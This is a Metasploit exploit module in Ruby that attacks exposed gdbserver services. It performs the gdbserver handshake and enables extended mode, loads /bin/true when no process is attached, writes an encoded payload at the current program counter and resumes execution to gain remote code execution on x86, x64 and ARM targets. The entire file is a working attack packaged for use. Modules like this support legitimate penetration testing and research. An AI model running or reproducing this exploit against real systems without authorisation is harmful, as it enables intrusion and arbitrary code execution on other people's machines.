## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Gdb def initialize(info = {}) super( update_info( info, 'Name' => 'GDB Server Remote Payload Execution', 'Description' => %q{ This module attempts to execute an arbitrary payload on a loose gdbserver service. }, 'Author' => [ 'joev' ], 'Targets' => [ [ 'x86', { 'Arch' => ARCH_X86 } ], [ 'x86_64', { 'Arch' => ARCH_X64 } ], [ 'ARMLE', { 'Arch' => ARCH_ARMLE } ], [ 'AARCH64', { 'Arch' => ARCH_AARCH64 } ], ], 'References' => [ ['URL', 'https://github.com/rapid7/metasploit-framework/pull/3691'] ], 'DisclosureDate' => '2014-08-24', 'Platform' => %w[linux unix osx], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64], 'Notes' => { 'SideEffects' => [IOC_IN_LOGS], 'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS], 'Reliability' => [REPEATABLE_SESSION] }, 'DefaultTarget' => 0, 'DefaultOptions' => { 'PrependFork' => true } ) ) register_options([ OptString.new('EXE_FILE', [ false, 'The exe to spawn when gdbserver is not attached to a process.', '/bin/true' ]) ]) end def exploit connect print_status('Performing handshake with gdbserver...') handshake res = enable_extended_mode if res !~ /OK/ fail_with(Failure::UnexpectedReply, 'Could not enable extended mode.') end begin print_status('Stepping program to find PC...') gdb_data = process_info rescue BadAckError, BadResponseError # gdbserver is running with the --multi flag and is not currently # attached to any process. let's attach to /bin/true or something. print_status("No process loaded, attempting to load #{datastore['EXE_FILE']}...") res = run_file(datastore['EXE_FILE']) if res !~ /OK/ fail_with(Failure::UnexpectedReply, 'Could not load new program.') end gdb_data = process_info end gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch) unless payload.arch.include?(gdb_arch) fail_with(Failure::BadConfig, "The payload architecture is incorrect: the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb.") end print_status("Writing payload at #{gdb_pc}...") write(payload.encoded, gdb_pc) print_status('Executing the payload...') continue({read: false}) ensure disconnect if sock end end